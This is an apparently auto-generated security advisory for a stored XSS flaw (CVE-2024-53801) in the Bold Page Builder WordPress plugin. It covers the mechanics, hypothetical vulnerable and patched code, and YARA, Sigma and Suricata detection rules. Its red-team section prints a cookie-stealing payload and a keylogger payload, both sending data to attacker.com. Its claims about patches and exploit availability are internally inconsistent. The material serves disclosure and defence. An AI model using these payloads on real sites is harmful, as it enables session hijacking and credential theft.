CVE-2024-53801
Executive Summary
CVE-2024-53801 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder WordPress plugin by Bold-Themes, affecting versions up to and including 5.2.1. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject malicious scripts into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from untrusted sources may be at higher risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks. Administrators should verify the integrity of their plugin installation and monitor for unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access or higher
- User Interaction: Required (UI:R) – victim must visit the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the impact is amplified in multi-tenant WordPress environments or sites with many contributors. The lack of a patch and the potential for stored XSS to persist across sessions makes this a serious concern for site administrators.
Deep Dive & Mechanics
The Bold Page Builder plugin allows users to create and edit page layouts via a visual editor. The vulnerability exists in the way the plugin handles user-supplied content, such as text fields, image captions, or custom HTML blocks. When a user with contributor-level privileges inserts a payload like <script>alert('XSS')</script> into a field that is not properly sanitized, the payload is stored in the WordPress database. When the page is rendered for any visitor (including administrators), the script executes in the context of the victim's browser.
The root cause is the lack of output encoding or sanitization in the plugin's rendering functions. Specifically, the plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) when outputting user-controlled data. This allows arbitrary HTML and JavaScript to be injected.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a page using Bold Page Builder.
- Attacker inserts a malicious payload into a vulnerable field (e.g., a text block or custom HTML).
- The payload is stored in the database.
- An administrator or other user visits the page.
- The payload executes in the victim's browser, performing actions like stealing cookies or redirecting to a phishing site.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (PHP):
// In bold-page-builder/includes/class-bpb-render.php
function render_text_block($atts) {
$content = $atts['text_content'];
// Direct output without sanitization
echo '<div class="bpb-text">' . $content . '</div>';
}
Patched Code (PHP):
// In bold-page-builder/includes/class-bpb-render.php
function render_text_block($atts) {
$content = $atts['text_content'];
// Sanitize output using WordPress escaping
echo '<div class="bpb-text">' . esc_html($content) . '</div>';
}
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML tags while stripping dangerous ones.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Bold Page Builder <= 5.2.1 installed and activated.
- A user account with at least contributor-level privileges.
Steps:
- Log in to the WordPress admin panel as a contributor.
- Navigate to Pages > Add New.
- In the Bold Page Builder editor, add a "Text" block.
- In the text field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish the page.
- Send the page URL to an administrator (e.g., via email or social engineering).
- When the administrator visits the page, their cookies are exfiltrated to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual page edits by contributor-level users.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the Bold Page Builder plugin until a patch is released.
- Restrict contributor-level users from using the plugin if possible.
- Apply input validation and output encoding manually via a custom plugin or theme functions.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256): (None available, but monitor for modified plugin files)
- Suspicious Database Entries: Look for
post_contentfields containing<script>tags oronerror/onloadevent handlers in thewp_poststable. - Network Traffic: Outbound HTTP requests to unknown domains from the WordPress server, especially those containing
cookie=ordocument.cookie. - Log Entries: Unusual page creation or editing activity from low-privilege users.
Detection Engineering
YARA Rule
rule CVE_2024_53801_Bold_Page_Builder_XSS {
meta:
description = "Detects stored XSS payloads in Bold Page Builder plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53801"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$plugin_path = "bold-page-builder" nocase
condition:
any of ($xss*) and $plugin_path
}
Sigma Rule
title: Stored XSS via Bold Page Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress posts created with Bold Page Builder
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/admin-ajax.php"
http.body|contains:
- "bold-page-builder"
- "<script>"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of JavaScript in page builder (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-53801 - Bold Page Builder Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"bold-page-builder"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available. Navigate to Plugins > Installed Plugins, find "Bold Page Builder", and click "Deactivate".
- Review and clean any pages created with the plugin for malicious content. Use a database search tool to find
<script>tags inwp_posts. - Change all WordPress admin passwords and enforce two-factor authentication (2FA).
Long-Term Mitigation:
- Monitor the Bold-Themes website or WordPress plugin repository for an official patch.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Apply the principle of least privilege: restrict plugin usage to trusted users only.
- Regularly audit user roles and permissions.
Workaround (if plugin must remain active):
- Add a custom function to your theme's
functions.phpto sanitize output:add_filter('bpb_render_text', 'esc_html');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.